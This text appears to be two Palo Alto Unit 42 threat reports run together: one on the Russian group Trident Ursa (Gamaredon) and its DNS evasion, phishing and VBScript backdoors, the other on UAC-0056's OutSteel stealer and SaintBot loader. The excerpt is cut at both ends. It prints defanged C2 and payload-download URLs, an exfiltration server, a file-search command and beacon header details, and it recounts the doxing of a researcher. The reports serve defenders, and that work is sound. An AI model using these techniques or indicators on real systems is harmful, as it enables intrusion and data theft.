s Federal
Security Service.
As the conflict has continued on the ground and in cyberspace, Trident Ursa has been operating as a dedicated
access creator and intelligence gatherer. Trident Ursa remains one of the most pervasive, intrusive, continuously
active and focused APTs targeting Ukraine.
Given the ongoing geopolitical situation and the specific target focus of this APT group, Unit 42 researchers
continue to actively monitor for indicators of their operations. In doing so, we have mapped out over 500 new
domains, 200 samples and other Indicators of Compromise (IoCs) used within the past 10 months that support
Trident Ursa
s different phishing and malware purposes.
We are providing this update along with known IoCs to highlight and share our current overall understanding of
Trident Ursa
s operations.
While monitoring these domains as well as open source intelligence, we have identified multiple items of note:
An unsuccessful attempt to compromise a large petroleum refining company within a NATO member nation
on Aug. 30.
An individual who appears to be involved with Trident Ursa threatened to harm a Ukraine-based cybersecurity
researcher immediately following the initial invasion.
Multiple shifts in their tactics, techniques and procedures (TTPs).
Palo Alto Networks customers receive protections against the types of threats discussed in this blog by products
including Cortex XDR, WildFire, Advanced URL Filtering, Advanced Threat Prevention and DNS Security
subscription services for the Next-Generation Firewall.
Related Unit 42 Topics
Russia, Ukraine, Gamaredon
Trident Ursa APT Group akas
Gamaredon, UAC-0010, Primitive Bear, Shuckworm
Table of Contents
1/13
Targeting Beyond Ukraine
Beyond Just Hacking: Open Threats to Cybersecurity Community
DNS Shenanigans
Bypassing DNS Through Legitimate Web Services
Bypassing DNS Through a Messaging Service
Hiding True IP Assignment Through Separate IPs for Root Domain and Subdomains
Various Malware Types Used
Phishing Using HTML Files
Phishing Using Word Documents
Recently Seen Droppers
7ZSfxMod_x86.exe
Myfile.exe
Conclusion
Protections and Mitigations
Indicators of Compromise
Additional Resources
Targeting Beyond Ukraine
Traditionally, Trident Ursa has primarily targeted Ukrainian entities with Ukrainian language lures. While this is
still the most common scenario for this group, we saw a few instances of them using English language lures. We
assess that these samples indicate that Trident Ursa is attempting to boost their intelligence collection and network
access against Ukrainian and NATO allies.
In line with these efforts to target allied governments, during a review of their IoCs we identified an unsuccessful
attempt to compromise a large petroleum refining company within a NATO member nation on Aug. 30.
SHA256
Filename
b1bc659006938eb5912832eb8412c609d2d875c001ab411d1b69d343515291b7
MilitaryassistanceofUkraine.htm
0b63f6e7621421de9968d46de243ef769a343b61597816615222387c45df80ae
Necessary_military_assistance.rar
303abc6d8ab41cb00e3e7a2165ecc1e7fb4377ba46a9f4213a05f764567182e5
List of necessary things for the
provision of military humanitarian
assistance to Ukraine.lnk (Note:
File bundled in above .rar)
Table 1. English language samples used by Trident Ursa.
Beyond Just Hacking: Open Threats to Cybersecurity Community
One of our most surprising observations was when an individual named Anton (in Cyrillic, 
) who appeared to
be tied to Trident Ursa threatened a small group of cybersecurity researchers on Twitter, on the same day Russia
invaded Ukraine (Feb. 24, 2022). It appears that Anton chose these researchers based on their tweets highlighting
Trident Ursa
s IoCs in the days prior to the invasion.
The first tweets (shown in Figure 1) came from Anton (@Anton15001398) as the invasion was underway, to
Ukraine-based threat researcher Mikhail Kasimov (@500mk500). In several tweets, he said, 
run, i
m coming for
you.
 Likely figuring his first tweets to Kasimov were too unnoticeable, his last tweet included the #Gamaredon
hashtag so it would be more publicly discoverable by other researchers.
2/13
Figure 1. Threatening Mikhail Kasimov.
Later that same day, Anton used a different account (@YumHSh2UdIkz64w) to send Shadow Chaser Group
(@ShadowChasing1) and TI Research (@tiresearch1) the ominous message 
let's be friends. We do not want to
fight, but we do it well!
 as shown in Figure 2.
Figure 2. Warning away Shadow Chaser Group and TI Research.
Two days later, on Feb. 26, Anton sent his last and most threatening tweet yet (Figure 3). In it, he provides Mikhail
Kasimov
s full name, date of birth and address along with the message, 
We are already in the city, there is nowhere
to run. You had a chance.
Figure 3. Doxing and threatening Mikhail Kasimov (full name, date of birth, and address redacted from the original tweet).
3/13
We imagine these direct, threatening communications from this purported Trident Ursa associate were unsettling to
the recipients (especially Mikhail Kasimov, a researcher operating from within the war zone). To their credit, the
targeted researchers were undaunted, and tweeted additional Trident Ursa IoCs over the weeks following these
threats. Kasimov, along with a large number of other researchers from around the world, continues to routinely
publish new IoCs for this APT.
DNS Shenanigans
Trident Ursa has used fast flux DNS as a way to increase the resilience of their operations, and to make analysis of
their infrastructure more difficult for cybersecurity analysts. Infrastructure using fast flux DNS rotates through
many IPs daily, using each one for a short time to make IP-based block listing, takedown efforts and forensic
analysis difficult.
The use of this technique is the primary reason Unit 42 researchers focus on Trident Ursa
s domains instead of their
IPs. Since June 2022, we
ve seen Trident Ursa use several other techniques in addition to fast flux to enhance their
operational efficacy.
A number of legitimate tools and services have been used by this threat actor in their operations. Threat actors often
abuse, take advantage of or subvert legitimate products for malicious purposes. This does not necessarily imply a
flaw or malicious quality to the legitimate product being abused.
Bypassing DNS Through Legitimate Web Services
The first example of additional techniques we
ve observed uses legitimate services to query IP assignments for
malicious domains. By using these services, Trident Ursa is effectively bypassing DNS and DNS logging for the
malicious domains. For example, the sample SHA256
499b56f3809508fc3f06f0d342a330bcced94c040e84843784998f1112c78422 calls the legitimate service ipapi[.]com to get the IP associated with josephine71.alabarda[.]ru through the following URL: hxxp://ipapi[.]com/csv/josephine71.alabarda.ru.
As of the time of writing this post, this process returns the following:
The malware uses the IP returned through this communication for follow-on communications with the malicious
domain. The only DNS query that would show up in logging would be the original request for ip-api[.]com.
Bypassing DNS Through a Messaging Service
In the second example, Trident Ursa uses Telegram Messenger content to look up the latest IP used for command
and control (C2). In this way, the actor is attempting to supplement DNS for when targets successfully block
malicious domains.
For example, the sample SHA256 3e72981a45dc4bdaa178a3013710873ad90634729ffdd4b2c79c9a3a00f76f43 calls
to hxxps://t[.]me/s/dracarc. As of Nov. 18, this account (@dracarc) returned the Telegram post
==104@248@36@191==. This is converted to the IP 104.248.36[.]191 and it is used for follow-on communications.
Hiding True IP Assignment Through Separate IPs for Root Domain and Subdomains
On Nov. 15, we noticed that the Trident Ursa domain niobiumo[.]ru was assigned to the U.S. Department of Defense
Network Information Center IP 147.159.180[.]73. We quickly identified that Trident Ursa had no operational control
over, or use of, that IP.
4/13
Trident Ursa had seeded the fast flux DNS tables for its root domains with 
junk
 IPs in an attempt to confuse
researchers and protect its true operational infrastructure. Instead of using root domains, they were instead using
subdomains for their operations.
The true operational IP could only be found by querying DNS upon a subdomain. In this case (shown in Figure 4),
querying upon subdomain aaa.niobiumo[.]ru returned the operational IP 64.227.67[.]175.
Figure 4. reg[.]ru name servers send a fake address for the domain and a real address for the subdomain (note: DNS lookup for
aaa.niobium[.]ru as of Nov. 15).
We highlight two observations stemming from our analysis of Trident Ursa
s DNS activity:
For its operational infrastructure outside of Russia, Trident Ursa has relied primarily on VPS providers
located within one of two autonomous systems (AS), AS14061 (DigitalOcean, LLC) and AS20473 (The
Constant Company, LLC). Over the past six weeks, of the 122 IP addresses we identified outside of Russia,
63% of them were within AS14061 and 29% were within AS20473. The remainder were located across several
AS owned by UAB Cherry Servers.
Over 96% of Trident Ursa
s domains continue to be registered and under the DNS of the Russian company
reg[.]ru, a company that 
 to date 
 has taken no action to block or deny this malicious infrastructure.
Various Malware Types Used
Over the past few months, Trident Ursa has relied upon a couple of different tactics to initially compromise victim
devices using VBScripts with randomly generated variable names and concatenation of strings for obfuscation. Each
of these tactics ultimately rely on the delivery of malicious content through spear phishing.
The first delivery method we will look at uses .html files, and the second uses Word documents.
Phishing Using HTML Files
5/13
Trident Ursa delivers an .html file either as an attachment to their phishing email, or via a link to the .html file (in
an attempt to bypass email threat scanning). They use seemingly benign URLs such as hxxp://state-cip[.]org/arhiv,
as shown in Figure 5. This site appears to still be active at the time of writing this post.
Figure 5. Example of phishing email with link used by Trident Ursa.
These .html files contain Base64-encoded .rar archives that in turn contain a malicious .lnk file. Once a user clicks
on these .lnk files, they use the Microsoft HTML Application (mshta.exe) to download additional files via URL, as
shown in Figure 6.
6/13
Figure 6. Exploitation path for phishing using malicious .lnk files.
Taking a deeper look into recent .lnk file SHA256
0d51b90457c85a0baa6304e1ffef2c3ea5dab3b9d27099551eef60389a34a89b, we see that the file is 99.8 KB, which
is approximately 98 KB larger than your average .lnk file.
Based on our review of these larger than expected .lnk files used by Trident Ursa, the file contains random 10character strings that we assess were appended during the creation process. These are used to confuse analysis, and
they have no purpose we can identify for Trident Ursa
s operations.
Once opened, this .lnk shortcut uses mshta.exe to contact hxxps://admou[.]org/29.11_mou/presented.rtf via a
command line argument.
Trident Ursa appears to be using various techniques to limit who can access this URL. As other researchers have
highlighted, Trident Ursa appears to be using geoblocking in order to limit downloads of this file to specific
geographic locations.
In this case, we assess the ability to download presented.rtf via this URL is limited to Ukraine. There are some
exceptions to this, however.
It appears that these threat actors are currently trying to stymie threat researchers by blocking ExpressVPN and
NordVPN nodes within Ukraine. In addition, it appears that the actor is potentially conducting additional filtering
to further control access to payloads. For example, VirusTotal receives an HTTP status code of 200, indicating
success when requesting the above URL, but the overall content length of the reply is 0 bytes.
If the filtering conditions are met, the target downloads presented.rtf (SHA256
3990c6e9522e11b30354090cd919258aabef599de26fc4177397b59abaf395c3) upon opening the .lnk. The
presented.rtf file is actually an HTA file that contains VBScript code.
7/13
This HTA file decodes two embedded Base64-encoded VBScripts, one of which it will save to
%USERPROFILE%\josephine, and the other it runs using Execute. The VBScript decoded and executed by the
presented.rtf file is responsible for adding persistence by running the VBScript saved to the josephine file each time
the user logs in. The VBScript file saved to josephine is the payload at the end of this installation process.
The first VBScript responsible for enabling persistent access to the system does so by creating a Windows scheduled
task and a registry key, both of which are common Trident Ursa techniques. This script creates a new scheduled task
named Filmora.Complete that runs the josephine script every five minutes, as shown in the scheduled task
information displayed in Figure 7.
Figure 7. Filmora.Complete scheduled task used to run payload every five minutes.
The script also creates an autorun registry key to automatically run the josephine VBScript when the user logs in.
Figure 8 shows the autorun registry key named telemetry added to the system to run the VBScript at user login.
Figure 8. Autorun registry key used to run VBScript at user login.
The josephine script acts as the functional code of the backdoor, which allows the threat actors to run additional
VBScript code supplied by a C2 server. The script contains two different methods to determine the IP address of its
C2 server, with which it communicates directly.
8/13
The first method involves pinging the domain THEN<random number>.ua-cip[.]org using the following Windows
Management Instrumentation (WMI) query and checking the ProtocolAddress value to determine the C2 IP
address:
If the script is unable to reach this domain, it attempts to access the Telegram URL hxxps://t[.]me/s/vzloms to get
the C2 IP address. It does this by checking the response using a regular expression of ==([0-9\@]+)==.
After obtaining the C2 IP address, this script will communicate with its C2 by issuing a custom crafted HTTP GET
request, as seen in Figure 9. The custom fields modified in the HTTP request include a hardcoded user-agent with
the computer name, volume serial number and the string ::/.josephine/. appended, as well as a hardcoded string
used in the Accept-Language field.
Figure 9. HTTP request sent to the C2 server.
The josephine script reads the responses to this HTTP request, decodes the Base64 data within the response and
executes it as a VBScript. We have not observed an active C2 server providing VBScripts in response to HTTP
requests from the josephine script.
Phishing Using Word Documents
The latest phishing documents we
ve seen Trident Ursa use have low detection rates in VirusTotal, likely due to their
simplicity. For example, SHA256 c22b20cee83b0802792a683ea7af86230288837bb3857c02e242fb6769fa8b0c
shows 0/61 detections as of Dec. 8, 2022.
Figure 10. VirusTotal detections for c22b20cee83b0802792a683ea7af86230288837bb3857c02e242fb6769fa8b0c.
This file relates to a purported tender to purchase computer equipment for the National Academy of Security
Service of Ukraine. The file contains no malicious code in and of itself. When opened, the file attempts to contact
and download its remote template from hxxp://relax.salary48.minhizo[.]ru/MAIL/gloomily/along.rcs.
This template, along.rcs (SHA256: 007483ad49d90ac2cabe907eb5b3d7eef6a5473217c83b0fe99d087ee7b3f6b3) is
an object linking and embedding (OLE) file that contains a macro that runs the malicious code. The macro itself
resembles the VBScript code within the HTA file mentioned above, used to load additional scripts.
9/13
The installation VBScript saves the payload VBScript to %USERPROFILE%\Downloads\frontier\decisive and
creates a scheduled task named GetSynchronization-USA to automatically run this payload every five minutes.
The payload VBScript is the same as the payload above. It attempts to get the C2 IP address via a ping to <random
number>decisive.hungzo[.]ru and a regular expression on the response from a specific Telegram URL,
hxxps://t[.]me/s/templ36.
Once it has the IP address, the script creates an HTTP GET request to hxxp://<IP address of C2>/snhale<random
number>/index.html=?<random number> with custom HTTP fields it populates with the following activities:
Appending the computer name and volume serial number in the custom user-agent field, (windows nt 6.1;
win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/90.0.4430.85 safari/537.36, along with the static
string ;;/.insufficient/.
Using frameS5V as the cookie value
Setting the Referrer to hxxps://developer.mozilla[.]org/en-US/docs/Web/JavaScript
Setting Accept-Language to ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Setting Content-Length to 4649
Lastly, the script will Base64 encode the response to this URL and attempt to execute it.
Recently Seen Droppers
Over the past three months, we
ve seen Trident Ursa use two different, yet very similar, droppers. The first dropper,
usually named 7ZSfxMod_x86.exe, is the traditional 7-Zip self-extracting (SFX) archive technique the actor has
used for years.
In these SFX files, the installation configuration script runs an embedded VBScript using Windows Script Host
(wscript.exe). The second dropper, usually named myfile.exe according to the executable
s RT_VERSION resource,
is effectively a loader that drops two files and eventually runs them as VBScript using wscript.
7ZSfxMod_x86.exe
A recent sample (SHA256 ac1f3a43447591c67159528d9c4245ce0b93b129845bed9597d1f39f68dbd72f) runs the
following installation script when opened:
Along with the installation script, the archive contains a VBScript named 19698.mov (SHA256:
f488bd406f1293f7881dd0ade8d08f2b1358ddaf7c4af4d27d95f6f047339b3a) referenced within the installation
script. Similar to the examples above, the VBScript will try two different methods to obtain its C2 location.
10/13
First, the script runs a WMI query to ping the C2 domain <random number>delirium.sohrabt[.]ru. Should this fail,
it also includes a second C2 location routine that will reach out to a Telegram page at hxxps://t[.]me/s/vbs_run14.
It then uses a regular expression of ==([0-9\@]+)== to find an IP address within the response.
The script replaces the "@" characters with a "." within the match of the regex to make an IPV4 address in dot
notation, and it writes the resulting IP address to the file %TEMP%\prDK6.
Once it has the IP address, the script creates an HTTP GET request to hxxp://<IP address of C2>/snhale<random
number>/index.html=?<random number> with custom HTTP fields it populates with the following activities:
Appending the computer name and volume serial number in the custom user-agent field, mozilla/5.0
(windows nt 6.1; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/86.0.4240.193 safari/537.36,
along with the static string ;;/.snventor/.
Using defective as the cookie value
Setting the Referrer to hxxps://www.unn.com[.]ua/ru/
Setting Accept-Language to ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Setting Content-Length to 2031
The script, like the one mentioned above, reads the response to this beacon, decodes the Base64 data within the
response and runs the result as a VBScript using the Execute method. This script also has a backup URL that it will
use if it receives an HTTP response status other than 200 or 404, specifically hxxp://<IP address of
C2>/snquiries<random number>/index.html=?<random number>.
Myfile.exe
A recent sample (SHA256: a79704074516589c8a6a20abd6a8bcbbcc5a39a5ddbca714fbbf5346d7035f42) works as a
loader that drops two files and eventually runs them as VBScripts using the wscript application.
First, the executable reads its own file data and skips to the end of the Portable Executable (PE) file to access the
overlay data that was appended to the executable. The executable then decrypts the overlay data in reverse by using
XOR on each byte with the byte that precedes it. Using this data, the executable writes the cleartext to the following
locations:
C:\Users\<username>\nutfgqsjs.fjyc
C:\Users\<username>\16403.dll
The binary concatenates some strings to the contents written to nutfgqsjs.fjyc before writing this file to disk,
specifically lines of VBScript code to delete the initial executable and the two VBScript files. The executable
concludes by running the nutfgqsjs.fjyc script by calling CreateProcessA using the following command line:
The nutfgqsjs.fjyc file is a VBScript file that contains a significant amount of comments that are meant to hide the
actual code. This script includes the following functional code that runs the 16403.dll VBScript:
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The file 16403.dll is another VBScript with the functional code that decodes another VBScript and runs it. After
several layers of decoding and replacing text, the ultimate VBScript eventually runs. This final VBScript uses the
same techniques described in the .lnk and 7ZSfxMod_x86.exe descriptions above.
First, the script runs a WMI query to ping the C2 domain morbuso[.]ru. Should this fail, it also includes a second C2
location routine that will reach out to a Telegram page, specifically hxxps://t[.]me/s/dracarc. As of Nov. 18, this
account (@dracarc) returned the following, ==104@248@36@191==. Using the regular expression of ==([09\@]+)== this is converted to the IP 104.248.36[.]191 and used for follow-on communications.
The script then creates an HTTP GET request to hxxp://<IPV4>/justly/CRONOS.icn?=Chr with custom HTTP
fields it populates with the following activities:
Appending the computer name and volume serial number in the custom user-agent field, mozilla/5.0
(macintosh; intel mac os x 10_15_3) applewebkit/605.1.15 (khtml, like gecko) version/13.0.5 safari/605.1.15;;
along with the static string ;;/.justice/.
Using jealous as the cookie value
It does not set Referrer in this instance
Setting Accept-Language to ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Setting Content-Length to 5537
Lastly, the script will Base64 encode the response to this URL and attempt to execute it.
Conclusion
Trident Ursa remains an agile and adaptive APT that does not use overly sophisticated or complex techniques in its
operations. In most cases, they rely on publicly available tools and scripts 
 along with a significant amount of
obfuscation 
 as well as routine phishing attempts to successfully execute their operations.
This group
s operations are regularly caught by researchers and government organizations, and yet they don
t seem
to care. They simply add additional obfuscation, new domains and new techniques and try again 
 often even
reusing previous samples.
Continuously operating in this way since at least 2014 with no sign of slowing down throughout this period of
conflict, Trident Ursa continues to be successful. For all of these reasons, they remain a significant threat to
Ukraine, one which Ukraine and its allies need to actively defend against.
Protections and Mitigations
The best defense against Trident Ursa is a security posture that favors prevention. We recommend that
organizations implement the following measures:
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Search network and endpoint logs for any evidence of the indicators of compromise associated with this threat
group.
Ensure cybersecurity solutions are effectively blocking against the active infrastructure IoCs.
Implement a DNS security solution in order to detect and mitigate DNS requests for known C2 infrastructure.
In addition, if an organization does not have a specific use case for services such as Telegram Messaging and
domain lookup tools within their business environment, add these domains to the organization
s block list or
do not add them to the allow list in the case of Zero Trust networks.
Apply additional scrutiny to all network traffic communicating with AS 197695 (Reg[.]ru).
If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident
Response team or call:
North America Toll-Free: 866.486.4842 (866.4.UNIT42)
EMEA: +31.20.299.3130
APAC: +65.6983.8730
Japan: +81.50.1790.0200
For Palo Alto Networks customers, our products and services provide the following coverage associated with this
campaign:
Cortex XDR customers receive protection at the endpoints from the malware techniques described in this
blog.
WildFire cloud-based threat analysis service accurately identifies the malware described in this blog as
malicious.
Advanced URL Filtering and DNS Security identify all phishing and malware domains associated with this
group as malicious.
Next-Generation Firewalls with an Advanced Threat Prevention security subscription can block the attacks
with Best Practices via Threat Prevention signature 86694.
Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with the
Computer Emergency Response Team of Ukraine as well as our fellow Cyber Threat Alliance members. These
organizations use this intelligence to rapidly deploy protections to their customers and to systematically disrupt
malicious cyber actors.
Indicators of Compromise
A list of the domains, IP addresses and malware hashes is available on the Unit 42 GitHub.
Additional Resources
Russia
s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine (Updated June 22)
Ukraine in maps: Tracking the war with Russia
Russia
s New Cyberwarfare in Ukraine Is Fast, Dirty, and Relentless
Get updates from Palo Alto Networks!
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13/13
Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include
the Document Stealer OutSteel and the Downloader SaintBot
unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot
February 26, 2022
By Unit 42
February 25, 2022 at 5:30 PM
Category: Malware
Tags: Advanced URL Filtering, AutoFocus, Cortex, information disclosure, OutSteel, Phishing, SaintBot, Ukraine, WildFire
This post is also available in: 
 (Japanese)
Executive Summary
On Feb. 1, 2022, Unit 42 observed an attack targeting an energy organization in Ukraine. CERT-UA publicly attributed the
attack to a threat group they track as UAC-0056. The targeted attack involved a spear phishing email sent to an employee of
the organization, which used a social engineering theme that suggested the individual had committed a crime. The email
had a Word document attached that contained a malicious JavaScript file that would download and install a payload known
as SaintBot (a downloader) and OutSteel (a document stealer). Unit 42 discovered that this attack was just one example of a
larger campaign dating back to at least March 2021, when Unit 42 saw the threat group target a Western government entity
in Ukraine, as well as several Ukrainian government organizations.
The OutSteel tool is a simple document stealer. It searches for potentially sensitive documents based on their file type and
uploads the files to a remote server. The use of OutSteel may suggest that this threat group
s primary goals involve data
collection on government organizations and companies involved with critical infrastructure. The SaintBot tool is a
downloader that allows the threat actors to download and run additional tools on the infected system. SaintBot provides the
actors persistent access to the system while granting the ability to further their capabilities.
While the OutSteel and SaintBot payloads were common among the attacks, the actors used different social engineering
themes and infection chains to compromise systems. The actors used current events and other pertinent themes to trick
recipients into opening documents, clicking links, enabling malicious content or running executables directly to
compromise their systems. Early attacks in March and April 2021 used cryptocurrency and COVID themes, while we
observed the actors using law enforcement-related themes and fake resumes in the May-July 2021 and the February 2022
attacks. The use of law enforcement-related themes in attacks spanning several months suggests that the threat group
favors this social engineering theme in the absence of a trending topic or current event.
The use of email as the attack vector remains the same in all attacks carried out by this threat group. While the spear
phishing emails are a common component, each attack uses a slightly different infection chain to compromise the system.
For instance, the actors have included links to Zip archives that contain malicious shortcuts (LNK) within the spear
phishing emails, as well as attachments in the form of PDF documents, Word documents, JavaScript files and Control Panel
File (CPL) executables. Even the Word documents attached to emails have used a variety of techniques, including malicious
macros, embedded JavaScript and the exploitation of CVE-2017-11882 to install payloads onto the system. With the
exception of the CPL executables, most of the delivery mechanisms rely on PowerShell scripts to download and execute code
from remote servers.
For more comprehensive information about the Russia-Ukraine crisis, including an overview of known attacks and
recommendations for how to protect against possible threats, please see our post, 
Russia-Ukraine Crisis: How to Protect
Against the Cyber Impact.
Palo Alto Networks customers receive protections against the attacks described via products and services including Cortex
XDR and the WildFire, Advanced URL Filtering and DNS Security security subscriptions for the Next-Generation Firewall.
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Related Unit 42 Topics
Russia-Ukraine Crisis Cyber Impact, Phishing
Table of Contents
Attack Overview
Links to Prior Attacks
Payload Analysis for Feb. 2 Attack
Initial Loader
Additional Files Associated With the Attack
Conclusion
Additional Resources
Indicators of Compromise
Appendix A: Prior Attacks Associated With UAC
0056
March 2021 Attacks
April 2021 Attacks
May 2021 Attacks
June 2021 Attacks
July 2021 Targeting
Attack Overview
On Feb. 1, 2022, Unit 42 observed threat actors sending a targeted email to an individual at an energy organization in
Ukraine. The email had the following attributes:
From: mariaparsons10811@gmail[.]com
Subject: 
 (<redacted targeted individual
s name>
Attachment: 
 (<redacted targeted individual
s name>).docx
The email subject and the filename of the attached document translate from Ukrainian to Report on the commission of a
crime (<redacted targeted individual
s name>). The email suggests that the individual was involved in criminal activity,
which is likely part of the actor's social engineering efforts to convince the targeted individual to open the attachment. The
malicious Word document displays the following contents:
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Figure 1. A malicious Word document attached to a spear phishing email sent to a targeted individual at a Ukrainian organization. The
apparent redactions were added by the threat actor as a lure to induce the target to click icons in the document.
The content within the attached document also follows the theme in the delivery email, as it appears to be a redacted
criminal investigation report from the National Police of Ukraine. The document instructs the user to click the icons with
the exclamation point to display the redacted contents hidden by black bars over the text. Each of the supposedly redacted
pieces of content has an icon that, when double-clicked, runs malicious JavaScript (SHA256:
b258a747202b1ea80421f8c841c57438ffb0670299f067dfeb2c53ab50ff6ded) that is embedded within the document. When
the user double-clicks the icon, Word effectively writes the following file to the system and runs it with Windows Script Host
(wscript):
C:\Users\ADMINI~1\AppData\Local\Temp\GSU207@POLICE.GOV.UA - 
 (15).js
The JavaScript file will run the following process that in turn runs a PowerShell script:
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Figure 2. PowerShell one-liner.
The PowerShell one-liner above will download an executable from the following URL, save it to
%PUBLIC%\GoogleChromeUpdate.exe and execute it:
hxxps://cdn.discordapp[.]com/attachments/932413459872747544/938291977735266344/putty.exe
According to CERT-UA, this PowerShell one-liner also appears in another attack attributed to this group that occurred a few
days earlier on Jan. 31.
Based on our analysis of the payload that this attempted spear phishing attack leads to, which includes the SaintBot
downloader and the OutSteel document stealer, we suspect that the threat group
s goals for this attack involve exfiltrating
data from the energy organization.
Links to Prior Attacks
CERT-UA mentioned that they track this activity using the moniker UAC-0056, while other organizations track this group
with the names TA471, SaintBear and Lorec53. Our research shows that these attacks have various overlaps with previous
attack campaigns focused on other organizations in Ukraine and Georgia, as well as other nations
 assets local to Ukraine.
These overlaps involve the use of the SaintBot downloader, shared infrastructure and other common elements. Figure 3
shows a timeline of the known attacks related to this threat group, specifically, the day the spear phishing emails were sent
and the subject line of each email.
Figure 3. A timeline of known attacks related to UAC-0056, showing the date spear phishing emails were sent and their subject lines.
The timeline shows several attacks between April and July 2021. There is then a gap of several months between the 2021
attacks and attacks that have been observed in 2022. This is more likely due to a lack of visibility rather than a pause in
activity. We believe that the threat group did not pause their activity as we are aware of additional delivery documents and
payloads that suggest additional attacks occurred during the apparently inactive periods on the timeline.
Details of known prior attacks associated with UAC-0056 are available in Appendix A. Attacks described in the appendix
include:
March 2021: An attack campaign against targets in Georgia using Bitcoin and COVID themes.
April 2021: Bitcoin-themed spear phishing emails targeting Ukrainian government organizations.
May 2021: Law enforcement-themed attacks targeting Ukrainian government organizations.
June 2021: Law-enforcement themed attack against a Ukrainian government organization
July 2021: Spear phishing attempt on a Western government entity in Ukraine.
Payload Analysis for Feb. 2 Attack
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As seen above, the actors leverage Discord
s content delivery network (CDN) to host their payload, which is a common
technique that the threat group uses across many of their attacks. The use of Discord benefits threat actors since the
popularity of Discord
s servers for gaming, community groups and other legitimate usage causes many URL filtering
systems to place a high degree of trust in its domain. Discord
s terms of service do not allow malicious use of its CDN, and
the company has been working to find and block abuses of its platform.
In this attack, this URL was hosting a malicious executable (SHA256:
f58c41d83c0f1c1e8c1c3bd99ab6deabb14a763b54a3c5f1e821210c0536c3ff) that is a loader. This acts as the first stage of
several in the overall infection chain, each of which have varying levels of complexity. Ultimately, this infection chain results
in the installation and execution of a document stealer called OutSteel, a loader Trojan called SaintBot, a batch script turned
into an executable that disables Windows Defender and a legitimate Google Chrome installation executable.
Initial Loader
The executable initially downloaded by the JavaScript in the delivery document is an initial loader Trojan, whose developers
signed using a certificate (SHA1: 60aac9d079a28bd9ee0372e39f23a6a92e9236bd) that has "Electrum Technologies
GmbH" within the organization field. This is related to the Electrum Bitcoin wallet, as seen in the following:
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
3b:11:e7:6e:da:51:82:ce:c2:d4:e7:2d:8c:05:f6:9a
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=US, O=thawte, Inc., CN=thawte SHA256 Code Signing CA - G2
Validity
Not Before: May 8 00:00:00 2020 GMT
Not After : May 8 23:59:59 2022 GMT
Subject: C=DE, ST=Berlin, L=Berlin, O=Electrum Technologies GmbH, CN=Electrum Technologies GmbH
This first-stage loader is a simple wrapper for the next few stages 
 these later stages will simply decrypt a DLL from its
resources, before loading it into memory and invoking its entry point.
Figure 4. Loading decrypted SHCore2.dll and invoking entry point.
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The packer used to pack and obfuscate this initial loader allows a user to clone .NET assemblies from other .NET binaries,
as well as from cloning certificates. This explains how a large portion of the payload is taken from a legitimate library, as
well as the attached Electrum certificate.
The decrypted DLL, named SHCore2.dll, is also obfuscated, though interestingly, the obfuscator did not completely strip the
class names, as can be seen in Figure 5 below. This allows us to quickly gather some information on the functionality of the
sample. While it may seem like the DLL is the final payload, it is merely another stager, which will decrypt and execute a
total of four embedded binaries.
Figure 5. SHCore2.dll classes.
The stager contains some interesting anti-analysis functionality, refusing to execute inside a virtual machine, and in some
cases, on bare metal systems. While that makes it difficult to perform dynamic analysis, before performing any virtual
machine checks, the sample does call functions within the Class5_Decrypter class, which is responsible for decrypting the
embedded payloads. This allows us to debug the sample and extract those payloads once decrypted.
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Figure 6. Decrypted 
config
 file in SHCore2.dll memory.
The four embedded binaries decrypted and executed by the stager include OutSteel, SaintBot, an executable that runs a
batch script to disable Windows Defender and the Google Chrome installer, as seen in Table 1.
SHA256
Description
7e3c54abfbb2abf2025ccf05674dd10240678e5ada465bb0c04a9109fe46e7ec
OutSteel AutoIT file uploader
0da1f48eaa7956dda58fa10af106af440adb9e684228715d313bb0d66d7cc21d
PureBasic executable, used to drop a
Disable Windows Defender batch file
0f9f31bbc69c8174b492cf177c2fbaf627fcdb5ac4473ca5589aa2be75cee735
Legitimate Google Chrome installer
82d2779e90cbc9078aa70d7dc6957ff0d6d06c127701c820971c9c572ba3058e
SaintBot .NET Loader
Table 1. Embedded binaries within the loader.
Additional Files Associated With the Attack
Below is a more detailed analysis of four additional files that come into play after the initial loader executes.
OutSteel
OutSteel is a file uploader and document stealer developed with the scripting language AutoIT. It is executed along with the
other binaries listed in Table 1. It begins by scanning through the local disk in search of files containing specific extensions,
before uploading those files to a hardcoded command and control (C2) server. In this sample, the C2 server it reaches out to
is 185[.]244[.]41[.]109:8080, with the endpoint /upld/.
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Figure 7. OutSteel main file search loop.
Scanning is performed through the use of CMD commands, as seen below:
cmd.exe /U /C DIR 
\Users\Admin\*.docx
 /S /B/ A
The list of file extensions that OutSteel gathers using the commands above is shown in Table 2, and the choice of these
extensions is likely an attempt to gather potentially sensitive files. These file types include documents for Microsoft Office
suite applications, Microsoft Access database files, Microsoft Outlook data files and various archive file types.
*.doc
*.ppt
*.xls
*.rtf
*.accdb
*.pst
*.zip
*.docx
.pptx
*.xlsx
*.dot
*.pot
*.ppa
*.tar
*.pdf
*.dot
*.csv
*.mdb
*.pps
*.rar
*.7z
*.txt
Table 2. File extensions gathered by OutSteel.
The command output will be read by the AutoIT payload, and each file will be uploaded to the C2, using the HTTP.au3
library.
Once the script has finished uploading all relevant files to the C2, it will then attempt to download a file to
%TEMP%\svjhost.exe from the secondary hardcoded C2 eumr[.]site. The downloaded payload is a sample of the SaintBot
.NET loader, also extracted from the SHCore2 DLL, and if downloaded successfully, will be executed via the command line.
Figure 8. OutSteel downloads SaintBot and executes rmm.bat
The script comes to a close after creating a .bat file named rmm.bat in the current directory, which will delete itself and the
original payload, prior to terminating any running cmd.exe processes.
Figure 9. rmm.bat file contents.
At this point, the AutoIT script exits, leaving SaintBot residing in memory.
windows_defender_disable.bat
8/30
This batch file is used to disable Windows Defender functionality. It accomplishes this by executing multiple commands via
CMD that modify registry keys and disabling Windows Defender scheduled tasks. This script is open source and available on
